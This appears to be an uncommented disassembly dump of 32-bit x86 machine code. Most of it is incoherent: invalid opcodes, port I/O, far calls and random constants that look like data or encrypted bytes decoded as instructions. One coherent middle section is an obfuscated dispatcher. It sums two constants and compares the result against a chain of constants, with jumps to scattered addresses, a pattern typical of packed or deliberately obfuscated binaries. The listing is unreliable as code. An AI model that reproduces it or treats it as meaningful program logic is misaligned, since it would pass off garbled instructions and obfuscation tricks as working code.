sbb eax, 0x7fd5a6f9
notrack call 0xe847d44f
cmp al, 0x85
cmp ah, 0x71
inc edi
imul ebx, dword [ebx + 0x6e83ca0f], 0x1c2b8ce1
dec esi
bound ecx, qword [esi - 0x3f9c5e5]
insb byte es:[edi], dx
mov dword [0x87e43cf0], eax
push ss
push ds
sub eax, 0x1b258108
cmp byte [edi], dh
in al, dx
test byte [esi + 0x31], ah
mov cl, 0xbd
inc edx
mov al, 0x54
xchg ecx, eax
nop
xchg esp, eax
invalid
mov dword [edx], ebx
inc ebp
invalid
imul ebx, dword [ecx - 0x694522fa], 0x5f
sub al, 0x38
push ds
outsd dx, dword [esi]
add dword [edi], ebp
out dx, eax
cli
pop ds
bound ebp, qword [0xe1ad76af]
outsd dx, dword [esi]
add byte [edx - 0x24], ch
xchg byte [eax + 0x40], dl
fst dword [edx]
adc dl, byte [edx]
in al, dx
push ss
add ebp, dword [esi]
imul byte [edx - 0x65]
js 0x6e1cf028
and al, 0x44
inc ebx
stc
enter 0x4292, 0x73
mov dl, 0xd9
js 0x6e1cf080
insb byte es:[edi], dx
and ch, byte [ebp - 0x7d]
adc eax, 0x1fb73c1e
and eax, 0x955b9b2f
stosd dword es:[edi], eax
aas
enter 0xffffffffffffba7b, 0xfffffffffffffff7
scasb al, byte es:[edi]
xor dword [ebx], ebp
test byte [ebx - 0x37aee18e], 0x24
div dword [edx - 0x6ec17832]
and al, 0xf7
mov dl, 0xce
xchg dword [esi], edi
xchg ecx, eax
mov edx, 0x77622cca
int1
sub al, 0x62
ja 0x6e1cf04a
int1
pop eax
mov esi, 0xaa1cd391
aaa
je 0x6e1cefe8
or al, 0xcc
fdivr dword [ecx]
mov byte [ebx], bh
cmpsb byte [esi], byte es:[edi]
popal
arpl sp, di
adc edi, ecx
jns 0x6e1ceff6
insd dword es:[edi], dx
sbb ebp, dword [ecx]
aad 0x74
add ch, byte [ebx + edi*8 - 0x3cc2e62b]
mov eax, 0x466f1887
inc esi
pushal
jge 0x6e1cf0b9
int3
push ecx
inc eax
jge 0x6e1cf053
add eax, 0x36c511e8
lds esi, [esi]
retf
xchg esi, eax
push eax
aam 0xfe
hlt
or dword [edi - 0x1e0ce376], 0x43
xor byte [edi], bh
imul ebp, dword [ebp - 5], 0xffffffbc
or al, 0xde
push ebx
arpl cx, di
push eax
popfd
clc
sal ebx, 1
mov al, byte [0x9dd5db13]
and esi, dword [eax]
xor eax, 0xe1e3410e
cmp edx, edx
or eax, dword [ebx - 0xde2397a]
sub ebp, dword [ecx - 0x71451369]
ljmp 0x1380
shl dword [edx + 0x10], 1
jns 0x6e1d3789
sub eax, 0x41fdbbcd
push ebx
stosd dword es:[edi], eax
push es
mov byte [edx - 0x5376c4fb], dl
outsd dx, dword [esi]
dec eax
imul ecx, esi, 0x13
invalid
das
jno 0x6e1d37c6
ficomp word [edi - 0x4e]
ficom word [edi + 0x213d8b2d]
sub al, byte [ebx]
and eax, 0x1e93e3dc
inc edx
in eax, 0x50
jno 0x6e1d3732
dec ebp
mov ah, 0x48
mov edx, 0xdafa6efb
mov dl, 0x91
fdiv qword [eax - 0x6e]
inc edi
cmp byte [eax + 0x55ea7cc8], 0xb6
dec ecx
jnp 0x6e1d37d0
sub ebx, dword [ecx + 0x348467ee]
pop ebp
mov bh, 0xd1
and ebp, dword fs:[esi]
test dword [esi + 0x2e2b216f], edx
and dword [esi - 0x50], eax
xchg esi, eax
outsd dx, dword [esi]
and dword [ebx], ebp
and dword cs:[esi - 0x50], eax
cmp ch, ah
pop edi
mov dl, 0xb2
mov byte [edx + 0x46f7832e], ah
add byte [eax], bh
out 0x8f, al
std
adc eax, 0xf908d78b
sub byte [edi + 0x42], dl
nop
int3
sti
dec ebp
sub al, 0x1e
aam 0x46
out 0xb6, al
inc ebp
jl 0x6e1d4e8e
add al, 0xfb
stosb byte es:[edi], al
std
pop edx
in eax, dx
mov byte [edi + 0x17], al
fadd dword [edx]
movsb byte es:[edi], byte [esi]
retf
or dword [eax + 1], esp
add byte [edi + esi*2 + 0x1ee6807f], ah
movsb byte es:[edi], byte [esi]
ja 0x6e1d4f14
and dh, 0x1e
sbb eax, 0x294551f
sar byte [0x7bd1fbc3], cl
push 0x3f2ec07c
jnp 0x6e1d4f0c
jl 0x6e1d4e66
aas
dec esi
xchg ebp, eax
sub al, 0x12
not dword [ecx - 0x5b]
mov ch, 0xd9
mov eax, 0x189fb76f
out 0x91, al
jb 0x6e1d4ea2
lodsb al, byte [esi]
mov ch, 0xd8
popfd
pop ecx
salc
ret 0x312
xor bh, dh
sub bl, dh
fadd dword [ebp + 4]
fcmovbe st(0), st(7)
enter 0xffffffffffffa91a, 3
xchg esp, eax
or esi, eax
inc edx
or al, byte [eax + 0xe7265fa]
aad 0x33
mov al, cl
in eax, 0xa2
mov eax, dword [0x8e0c99af]
mov al, byte [0xdf475387]
cmc
jae 0x6e1d4f63
sbb eax, 0xd1cb169c
movsd dword es:[edi], dword [esi]
or dl, al
mov eax, dword [0xefe76c19]
test eax, edi
inc ebp
test byte es:[esi + 0x54], 0x62
xchg edx, eax
std
dec edi
push edi
dec esi
push esp
bound edx, qword [edx + 0x574ffd67]
jns 0x6e1d4f11
aaa
sbb dl, bl
jno 0x6e1d4f68
hlt
xchg bx, ax
xor cl, dh
mov al, byte [0x96d677bd]
clc
mov ebp, 0xf896d677
mov byte [0x6928f6df], al
nop dword [esi - 0x57]
push ds
xor al, dh
mov edi, 0xcd5ce1e8
add byte [edx - 0xc], bh
dec esi
inc eax
popfd
cmpsd dword [esi], dword es:[edi]
adc esi, esp
pop es
jecxz 0x6e1d4f49
pop dword [esi - 0x52]
xor byte [ebx - 0x1aaa6115], al
dec ecx
imul edx, dword [eax + 0x4ced9efd], 0x52
jecxz 0x6e1d4fba
xchg ebp, eax
sbb eax, 0xc0a078ea
push edx
mov edx, dword [edi - 0xa0d7f4f]
xor byte [edx - 0x1d], cl
stosb byte es:[edi], al
dec eax
push edx
sub byte [ebp + 0x3c], ch
lds ebp, [eax - 0x72]
das
invalid
stosd dword es:[edi], eax
loop 0x6e1d4fe5
sbb byte [esi - 0x3a], ah
les ebx, [edx - 0x1f]
cmp byte [esi], 0xab
fisub dword [ecx + edx*2]
retf
mov dh, 0x59
outsb dx, byte [esi]
invalid
mov esp, 0xa62fc54b
xor eax, ecx
imul bh
add dh, byte [esi]
retf
ret
mov al, 0x15
inc ecx
xchg ebx, eax
out 0xad, al
js 0x6e1d7d30
stosd dword es:[edi], eax
mov byte [ebp + 0x6deb8dfa], cl
adc al, 0xd1
in al, dx
hlt
or dword [ebx], edx
lodsb al, byte [esi]
dec edx
popfd
out 0xd2, al
mov edx, 0x82eb4409
xor dl, byte [esi + 0xd]
aad 0x4d
mov al, 0xee
inc edi
sbb dh, byte [edx + 0x20]
xchg ebp, eax
div byte [ebx + edi]
xor dword [ebp - 0x6747221e], ebx
mov dl, 3
push ebx
dec esi
imul ebx, esi, 0xce43a823
jmp 0xf076cc82
adc dword fs:[ecx], esi
and eax, 0x6f55abf9
test al, 0x15
pop edx
sbb byte [edx], cl
arpl word [esi + 0x746c0205], bp
hlt
add byte [eax], al
sub byte [ecx - 0x125e9def], cl
dec esp
in al, dx
cli
mov ebx, dword ds:[ebx - 0xce36906]
pop esp
sub dl, byte [esi - 0x1c811b9a]
lds ecx, [eax]
adc bl, byte [ecx + 4]
sbb dword [edx - 0x70], eax
out dx, al
adc al, byte [eax + 0x7be63332]
sbb bh, byte [ebx - 0x6a]
sub byte [eax - 0x6be23668], al
cmpsb byte [esi], byte es:[edi]
test al, 0x4b
fbld tbyte [edx]
add cl, byte [eax - 0x78]
loopne 0x6e1dc3e8
test edx, esi
out 0x3b, al
and byte [0xc30fd2], 0xa2
pop eax
sahf
pop ebp
fidivr word [edi + 0x56383191]
mov dh, 0xe3
sar byte [edi], 1
aas
or byte [ebx - 9], 0xaa
xchg edx, eax
out dx, eax
xchg ecx, eax
inc edi
jb 0x6e1dc40a
xor ebx, edx
xchg edi, eax
int 0xe3
out dx, al
sbb ch, byte [eax + ecx*4]
jmp 0x6e1dc413
out 0x85, eax
wait
xor eax, ebp
jmp 0x1932175b
sbb eax, 0x1168eb3c
add eax, 0x53e693dc
mov al, 0xfe
sub al, 0
dec esi
adc byte [esi + 0x4e], al
mov ebp, 0x71fb1ee
mov ebp, 0x67a1ee74
les edx, [0xd34379f6]
sbb dword [edi], edi
cmc
daa
movsb byte es:[edi], byte [esi]
or dword [0x5dd60a53], edx
invalid
jmp 0x6e1eae9b
add edx, dword [edi + 0x3b]
cmp dword [esi], ebx
mov dword [0xe855a739], eax
jo 0x6e1df2d5
loop 0x6e1df2df
mov ah, 0x38
and al, 0x19
ja 0x6e1df29a
cwde
pop esp
mov al, byte [0x87e06aa6]
xchg ecx, eax
and eax, 0x2554547d
mov esp, 0x24a1f0ca
shl dword [esi + 0x2b3ac52c], cl
invalid
invalid
invalid
mov dl, 0x95
inc edx
test ebp, esp
mov dh, 0x5f
nop
int3
mov ss, eax
xor eax, dword [ebx - 0x5b]
inc ebx
movsd dword es:[edi], dword [esi]
lodsd eax, dword [esi]
push es
adc eax, 0x72e1e008
das
pop ebp
sbb ebp, dword [esi]
mov eax, 0x3777ab4d
push 0x35dbe65d
jg 0x6e1e398c
in eax, dx
lds ebx, [edi - 0x44]
std
stosb byte es:[edi], al
scasd eax, dword es:[edi]
jno 0x6e1e3946
sbb cl, ah
popal
loope 0x6e1e39cc
sti
sti
mov al, byte [0x403b6ffe]
sbb eax, 0x752d1ab7
daa
js 0x6e1e399f
xor edi, dword [esi - 0x2511ac97]
mov ch, byte [esi + 0x5f9a038b]
mov dh, 0x32
dec esp
mov bh, 0x95
jg 0x6e1e39f0
ja 0x6e1e3969
daa
sbb al, 0xec
sti
sbb esp, edi
dec ecx
cmp al, 0x69
imul eax, edi, 0xbea5f4a
js 0x6e1e3934
or edi, dword [eax - 0x6e]
inc byte [edi]
cli
fstp qword [edi]
xchg esi, eax
invalid
ficom word [eax + 0x1a]
or esp, 0x4a
sahf
lea edi, [edi - 0x662b3912]
adc al, 0x45
fsub qword [ebx + 0x5468f7d0]
neg byte [edx - 0x10]
out dx, eax
mov dl, 0x5e
retf
inc eax
lahf
sar byte [ecx + edi*4 - 0x15ae4ff2], 0xc3
mov dword [edx + 0x240dcf2], esi
mov ecx, 0xe257ec73
sbb dword [eax + ebp*8 - 0x5a], ebp
jae 0x6e1e3a7e
mov ch, 0xf5
push edx
cmp al, 0x90
int3
aaa
pop eax
int3
inc esp
nop
push eax
mov ecx, 0xd1cbca5d
lcall 0x7ba6, 0x6de4d83a
mov eax, dword [0x936bf97b]
sbb byte [ecx + 0x587ff4ec], dl
jg 0x6e1e3ad8
mov bl, 0x5c
adc byte [ebx], dl
mov ebp, 0x89782856
cdq
cwde
mov dh, 0x51
inc esp
sbb byte [ebp + 0x30], dh
sub al, 0xd
scasb al, byte es:[edi]
sub al, 0xc7
jne 0x6e1e3a66
sbb al, 0x57
cmpsb byte [esi], byte es:[edi]
jnp 0x6e1e3a43
aaa
dec ecx
sbb ah, bh
mov ebx, 0xd47b10a1
jge 0x6e1e3ad7
in eax, dx
inc edi
mov byte [0xad433898], al
invalid
lds eax, [ebp + eax + 0x43]
jge 0x6e1e3b22
inc esp
add eax, 0x37457d43
aaa
nop
int3
sahf
invalid
lodsd eax, dword [esi]
and bh, byte [ecx + 0x31]
ret 0x5de7
pop ebp
insd dword es:[edi], dx
ja 0x6e1e3b08
scasb al, byte es:[di]
lahf
dec dl
outsd dx, dword [esi]
cwde
jno 0x6e1e3b46
wait
into
or byte [edx], dl
jb 0x6e1e3b60
pop edx
mov esp, 0xfa904cbf
or dword [ebx + 0x4ffe5e36], edi
fstp xword [eax + edi*8]
mov ecx, 0xc827b499
cwde
add eax, 0xaa7071c3
mov ah, 0x27
enter 0x598, 0xffffffffffffffc3
jno 0x6e1e3bbe
stosb byte es:[edi], al
out dx, al
fistp word [0x61a12b2c]
inc eax
adc ebp, dword [ecx + 0x4f]
mov dword [0x9bfd7a62], eax
je 0x6e1e3b1c
mov ebx, 0xa71e1916
push ss
sbb dword [esi], ebx
cmpsd dword [esi], dword es:[edi]
mov dl, byte [esi]
push 0x1c1d07eb
adc ecx, dword [esi + 0x40]
inc eax
xor eax, 0x58f24f57
mov cl, 0x81
std
je 0x6e1e3b6e
mov dword [0xd050e252], eax
xchg edi, eax
or byte [esi], ah
sub esi, dword [edi - 0x35fd7244]
xor ah, bl
mov edi, 0xc32f384d
add dword cs:[ebx - 0x5c], ebx
mov edi, 0xf9597fa3
aad 0x23
xchg ecx, eax
mov dword [0x339fdbdb], eax
invalid
push edx
sub eax, 0xa3f2b12f
mov ah, 0x55
ret 0x1b22
adc dh, byte [ecx - 0x70540b08]
pop esp
pop ebx
imul esp, dword [ebx - 0x34], 0x59
sub ch, byte [edx]
invalid
xchg byte [eax + 0x46], ah
js 0x6e1e5073
jno 0x6e1e5140
mov esi, 0x5cf8e52e
xor bh, byte [esp + ebx*2]
pop edx
stc
xchg ebp, eax
dec eax
xchg edx, eax
mov dword [ecx - 0x1b], edi
dec ebp
mov bh, 0x32
cmp bl, ah
mov ecx, 0xe4ddbf60
xor al, 0xc9
xchg di, ax
fcomi st(2)
int1
mov byte [0x2c2015c], 0xb0
inc esi
retf 0x8a22
push 0x55d36bad
or byte [ebx], al
fisttp word [0x822071a9]
insb byte es:[edi], dx
or eax, 0x354363c6
jbe 0x6e1e5176
push es
mov dh, byte [esi + 0x50]
and al, 0x6d
into
mov cl, 0x49
jg 0x6e1e5192
invalid
xchg dword [ecx + 0x5c9de831], eax
jecxz 0x6e1e51d4
fadd qword [ebx + 0x5f313185]
ret
xchg ecx, eax
imul edx
invalid
sbb byte [edx - 0x17], dl
xor dword [esi + ebp*4 + 0x7666724c], 0x10bb0d12
wait
idiv dword [edx - 0x35e9c9e4]
mov edx, 0xca16361c
xor dword [eax - 0x6d], esp
lcall 0xa384, 0xe66ce6bf
js 0x6e1e51c4
scasb al, byte es:[edi]
xor byte [ecx], ah
fisubr word [ecx]
inc ecx
ljmp 0xdf05
cmpsd dword [esi], dword es:[edi]
ror dword [ebx - 0x12], cl
push esi
invalid
xchg edi, eax
adc al, 0xd7
mov bh, 0x69
popal
mov es, word [ebx - 0x19]
adc eax, 0xea732fec
mov eax, dword [0xdca75711]
mov edx, 0xefdfa8cd
mov byte [0xddf472c2], al
pop eax
fcom qword [ebx + 0x65]
insd dword es:[edi], dx
sbb eax, 0x92a97f16
rcr dword [ebp + 0x2a48efee], 0xce
fstp qword [esi + 0x6b]
sub esp, dword [eax]
dec eax
mov esi, 0x69679e45
stc
lodsd eax, dword gs:[esi]
cmp esi, 0x18
push edi
out 0x10, eax
add eax, dword [ebp - 0x43]
adc esi, dword [edx]
add byte [edi], ch
inc ebp
sahf
imul edi, ecx, 0xfe83ad65
sbb byte [edi - 0x19], dl
adc byte [ebx], al
inc ebp
mov ebp, 0x2f003213
fdiv dword [ebp - 0x4176780b]
cmpsb byte [esi], byte es:[edi]
mov ebp, 0x5d609709
daa
dec eax
dec ebp
aaa
popal
and dh, byte [ecx]
mov dh, 0x9c
jge 0x6e1e808a
cmpsd dword [esi], dword es:[edi]
adc byte [ecx], al
or eax, 0x46ebe17f
inc ebx
pop eax
mov bh, 0xc2
sbb eax, dword [edi + 0x73]
add ecx, dword [eax]
scasb al, byte es:[edi]
jge 0x6e1e7fe0
imul ecx
and esi, dword [ecx]
sub dl, byte [esi + 0x36]
and dword [esp + ecx*2], ecx
retf
call 0x3be4c81f
loope 0x6e1e8013
in eax, 0x16
sbb esp, ebx
lodsb al, byte [esi]
push cs
dec edx
cwde
mov dword [0xe30e5af7], eax
inc edx
cmp esp, dword [esi]
inc esp
imul esp, ebp, 0xffffffca
pop ds
sub byte [di + 0x28], 0xe8
leave
or edi, dword [ebx + 0x3d]
adc eax, 0x426b2b24
push 8
pop ecx
int1
sbb al, 0xf2
hlt
daa
aad 0xb6
lea esi, [edx + 0x48fe330f]
mov byte [0x49dd0633], al
fidiv word [edi]
mov ah, 0xe4
in eax, dx
rcl dword [ebx - 0x1a3dcc29], 0x16
add dword [ebp + 0x6b79a43c], esp
push 0xffffffffffffffa2
in eax, 0x22
dec edi
mov edx, 0xbd728fde
xor edi, dword [ebp + eax*4 - 0x21e439fa]
stosb byte es:[edi], al
sbb al, byte [edx]
int3
nop
jmp 0x6e1eae9b
nop
mov eax, dword [0x6e93d028]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x80], 0x2e04d
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x88], 0x495ef
mov dword [ebp - 0x84], 0
mov ecx, dword [ebp - 0x80]
mov ebx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x90]
xor eax, 0xf2351
or eax, dword [ebp - 0x8c]
je 0x6e1ef8b5
mov edx, 0xf2351
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0xefe1f
or eax, dword [ebp - 0x8c]
je 0x6e1fcbed
mov edx, 0xefe1f
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0xe9e7c
or eax, dword [ebp - 0x8c]
je 0x6e1f6e0d
mov edx, 0xe9e7c
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0xd6b27
or eax, dword [ebp - 0x8c]
je 0x6e1f8585
mov edx, 0xd6b27
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0xcf674
or eax, dword [ebp - 0x8c]
je 0x6e1f102d
mov edx, 0xcf674
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0xc6145
or eax, dword [ebp - 0x8c]
je 0x6e1ec9c5
mov edx, 0xc6145
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0xae922
or eax, dword [ebp - 0x8c]
je 0x6e1eb24d
mov edx, 0xae922
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0xa9c6d
or eax, dword [ebp - 0x8c]
je 0x6e1f9cfd
mov edx, 0xa9c6d
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0x9d6cc
or eax, dword [ebp - 0x8c]
je 0x6e1ffadd
mov edx, 0x9d6cc
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0x7763c
or eax, dword [ebp - 0x8c]
je 0x6e204145
mov edx, 0x7763c
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0x73eff
or eax, dword [ebp - 0x8c]
je 0x6e1ee13d
mov edx, 0x73eff
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0x7173d
or eax, dword [ebp - 0x8c]
je 0x6e201255
mov edx, 0x7173d
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0x62c55
or eax, dword [ebp - 0x8c]
je 0x6e1f27a5
mov edx, 0x62c55
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0x36879
or eax, dword [ebp - 0x8c]
je 0x6e1fe365
mov edx, 0x36879
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0x2d350
or eax, dword [ebp - 0x8c]
je 0x6e1f5695
mov edx, 0x2d350
mov eax, 0
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0x2b366
or eax, dword [ebp - 0x8c]
je 0x6e2029cd
mov edx, 0x2b366
mov eax, 0
mov bl, 2
add byte [eax], bh
cmp edx, dword [ebp - 0x90]
sbb eax, dword [ebp - 0x8c]
jl 0x6e204142
mov eax, dword [ebp - 0x90]
xor eax, 0xc96d
or eax, dword [ebp - 0x8c]
je 0x6e1f3f1d
mov eax, dword [ebp - 0x90]
xor eax, 0x200fc
or eax, dword [ebp - 0x8c]
je 0x6e1fb475
jmp 0x6e204142
loopne 0x6e1eb1ff
scasb al, byte es:[edi]
cmpsb byte [esi], byte es:[edi]
cld
out dx, al
push esp
cmp bh, dh
mov ah, 0xc4
push ds
sbb dl, byte [eax*4 - 0x5c9b1cb3]
test dword [ecx + 2], edx
pop es
push ecx
test dword [ecx - 0x7b927c2c], esp
mov ch, 0x53
lodsb al, byte [esi]
mov edx, 0x3e883f6a
jg 0x6e1eb252
pop edi
push eax
dec esi
mov eax, dword [0x96e5483b]
lahf
dec eax
xor dword [ecx + 0x454fd1db], ebp
cmc
and eax, 0xd6069fe5
sahf
push ebp
inc esi
std
cmp ch, ch
sbb cl, byte [ebx + edx]
cmpsd dword [esi], dword es:[edi]
scasb al, byte es:[edi]
pop edi
sub eax, 0x886c0435
dec eax
adc al, 0xc0
invalid
pop ds
arpl si, ax
xlatb
ret
ret
or esp, ebx
xor dword [ebx - 0x6d], ebp
jge 0x6e1ee121
mov byte [edx + edx*8 + 0x3a], dl
cmc
pop edx
cmpsb byte [esi], byte es:[edi]
add byte [ecx - 0x6c], bl
pop ecx
xchg esp, eax
cmp eax, 0x57cd8bbf
lodsd eax, dword [esi]
adc byte [edx], ah
or eax, 0x1c6cb123
sbb eax, 0xa02c6e36
outsb dx, byte ss:[esi]
sub al, 0xa0
js 0x6e1ee14c
mov bl, 0x71
adc al, 1
xor dword [edi - 0x4d], esp
jbe 0x6e1ee183
stosd dword es:[edi], eax
lcall 0x2553, 0xa496f850
rcr dword [ecx], cl
adc al, 0xe5
jp 0x6e1ee1e9
test byte [edx - 0x3b69a6c3], 0xc5
push es
fstp st(6)
mul byte [eax - 0x14]
jno 0x6e1ee15c
dec esp
push ebp
out 0xc3, eax
rcr al, 5
dec esi
jae 0x6e1ee19d
adc dl, ah
jge 0x6e1ee18c
fcmove st(0), st(1)
invalid
sub byte [ebp + 0x6268c351], al
aas
retf 0xc8ec
insd dword es:[edi], dx
mov dword [0xc5df758], eax
inc ebp
ror dword [ebp - 0x73], 0x59
pop ebp
invalid
sub al, 0x56
inc edi
wait
dec ecx
bound ebp, qword [eax]
mov eax, dword [0x730ad62b]
inc edx
push esp
push esp
push ds
sti
insb byte es:[edi], dx
push esp
invalid
inc esp
pop edi
jp 0x6e1ef860
xchg byte [ebp + ebx + 0x49dcbaf5], bl
in al, 0x7e
sub ebx, dword [esi - 0x75814c7d]
invalid
mov byte [0xbdb68680], al
iretd
push esi
or eax, 0x45c00172
lds esp, [edi + ebx*4 - 0x1a7e5d25]
xchg ebp, eax
push cs
and byte [0x2270100a], bh
mov ecx, 0xa4a84a29
jmp 0xe4e9927a
loope 0x6e1f3f40
dec edx
cli
aas
push eax
pop ss
mov cl, byte [edx + 0x19]
xchg cl, ah
mov ebx, 0x8fb65fa6
pop ds
aad 0x9f
mov ecx, 0xdd1cd14
xor eax, 0x45a00512
push es
retf
lock add dword [esi - 0x7684593f], 0xf197aa09
movsd dword es:[edi], dword [esi]
sub eax, esi
dec esp
retf
sbb edi, dword [ebp - 0x26]
and eax, 0x2f6c22fd
push 0xeb107f6b
in al, dx
push ecx
adc eax, 0x1ddedd4b
pop esi
pxor mm1, qword [ebp - 0x57]
sub dword [ecx + ebp*4 + 0x3bd6ad68], edx
or dword [ecx + 0x71], ebx
xchg al, ch
or dword [ecx + 0x115449fd], 0xfee88dd4
div dword es:[edx + 0x14c5d81c]
mov gs, word [ebx + 0x4c]
jo 0x6e1f56c9
mov dl, 0x1c
fadd st(5)
adc al, 0x8e
lds edx, [esi + ecx*4]
insb byte es:[edi], dx
and ecx, dword [eax + esi*2 - 8]
cdq
salc
xchg byte [eax - 5], bl
inc edi
jge 0x6e1f56c6
cmp byte [ebx - 0x3a13c8fa], 0x5c
lds ebp, [eax - 0x67eb645b]
out 0x3a, al
ljmp 0x5f9
bound esi, qword [ebx]
pop ebx
adc esi, dword [0x61e3e861]
and al, 0xa1
xor ecx, dword [eax - 0x32]
mov al, byte [0xdf1e3bf6]
inc ebp
test byte [ebp + esi*2 + 0x13c6093a], al
sbb ecx, dword [edi - 0x440e25bd]
ret 0xa86e
push es
push cs
mov bh, 0x4b
invalid
ljmp 0xbeeb:0x83e1403d
push 0x35
call 0x5c28d908
stosb byte es:[edi], al
retf 0xd6b8
dec esi
cli
dec esi
retf 0x7f3d
cwde
in eax, 0x70
wait
movsd dword es:[edi], dword [esi]
xchg ebp, esi
call 0x9180d8c7
mov ah, 0xc5
call 0xe7ca6846
lea ebp, [edx + 0x50ae9644]
out dx, eax
or al, 0xe9
int 0x87
xor byte [esi + esi*8 - 0x5182339d], ch
invalid
cld
push 0x47
cwde
cmp ebx, 0x46eccd0e
mov eax, 0x4da06b39
cmp dword [ebx - 0x60], ebp
dec ebp
mov cl, 0xad
imul ebp, ecx, 0xfffffffc
adc al, 6
mov ch, bh
insd dword es:[edi], dx
ror byte [ecx - 0x4a], 0x2b
jnp 0x6e1ffb41
xor dword [eax + 0x3b], edx
ja 0x6e1ffb22
insd dword es:[edi], dx
pop ebx
retf 0x53e9
push edx
push ebx
sbb ah, byte [ecx + 0x38]
aas
jp 0x6e1ffb64
insd dword es:[edi], dx
inc esi
push 0x52
xor byte [ebx], al
inc esi
shl ch, cl
popfd
dec esp
aad 0x4d
or ch, byte [0x21aaef7b]
shr dword [ebx], cl
push ecx
into
add edi, dword [esi - 0x4db40f26]
test al, 0x99
lodsb al, byte [esi]
ja 0x6e1ffb0c
outsd dx, dword [esi]
test dword [esi - 0x7989a221], ebx
cmp dl, byte [ecx + 0x39]
in al, dx
imul eax, ecx, 0xffffffe7
adc byte [esi - 0x2689d99f], 0xd7
xor byte [edx - 0x6d], 0x5d
je 0x6e1ffae8
xchg ebp, eax
mov cl, 0xd6
sbb eax, 0x9a75a73e
pop ds
xchg ecx, eax
lea esp, [ebx]
scasb al, byte es:[edi]
test dword [eax + ebx*8], eax
xor eax, 0x539e840a
pop eax
out dx, al
popal
test byte [esi + 0x61ee5853], bl
invalid
aas
jnp 0x6e201297
out dx, eax
mov dword gs:[eax], ebp
mov ebx, 0x85959950
xor ecx, ebp
out dx, al
pushfd
pop ebp
nop
cmpsb byte [esi], byte es:[edi]
inc esi
mov gs, esi
nop
test al, 0x6d
mov al, byte [ebx - 0x73]
cld
insb byte es:[edi], dx
xchg ebx, eax
div byte [ebp - 0x73]
ljmp 0x7a60
ja 0x6e201262
cmpsd dword [esi], dword es:[edi]
jae 0x6e201317
aam 0x65
test dword [edi - 0x74], edx
fisub dword [ebp + 0x3a2ac81c]
adc dword [ebx], edx
bound esi, qword [edi - 0x2e276674]
or eax, 0xc6eb5c22
mov al, 0x7b
inc ebx
xchg edx, eax
and al, 0x6f
push cs
or al, 0x77
or eax, 0xa590b462
pop ecx
fcomi st(3)
add dl, byte [edx - 0x5c]
pop ecx
cmpsd dword [esi], dword es:[edi]
clc
wait
cmp dword [esp + edi + 0x2f], esi
pushal
out 0xfa, eax
or eax, 0xf94ff90f
adc byte [esi + 0x479d1b48], 0xbc
mov bl, 0x2a
out 0xf2, eax
xchg esi, eax
stosb byte es:[edi], al
cwde
psadbw mm4, qword [edx + 0x55]
add dword [edi + 0x91bbbd0], ebx
movsd dword es:[edi], dword [esi]
in eax, dx
sbb al, 0x19
push 0xdd970323
nop
mul edx
lea eax, [ebp + edx*8 + 0x40a05997]
imul ebx, dword [eax - 0x69], 0xffffffd1
mov ebx, 0x6fad0f53
jbe 0x6e20131e
add dword [eax], ebp
pop esp
or edx, eax
rcl cl, 1
mov dword [0xaa33b879], eax
shl dword [ebx - 0x55cc4787], 1
sub al, 0xdd
fistp qword ds:[ecx - 0x70]
fnstsw word [esi]
fistp qword [ecx - 0x70]
int3
pop edx
aad 0x5d
js 0x6e2029d0
sub al, 0xde
bound edx, qword [ecx + 0x3d]
add al, 0x7b
or dword [ebx], ecx
insb byte es:[edi], dx
rcr dword [esi + ebx*4 + 0x55b3398e], 0x3b
out 0x3c, eax
mov edx, 0xadc6cf3d
test dword [edi + 0x95e88ea], 0xb535c09f
sahf
mov dh, 0x2a
xor eax, dword [ebx - 0x2c70f2ae]
inc eax
cmp cl, ah
cmp cl, byte [edi + 0x3a680369]
rcr ebx, 0x52
imul eax, dword [ebx], 0xdbc13a68
push edx
lcall 0x8de3, 0x8610e553
or ch, 0x62
push eax
nop
int3
pop ss
adc byte [edx], bl
cmpsb byte [esi], byte es:[edi]
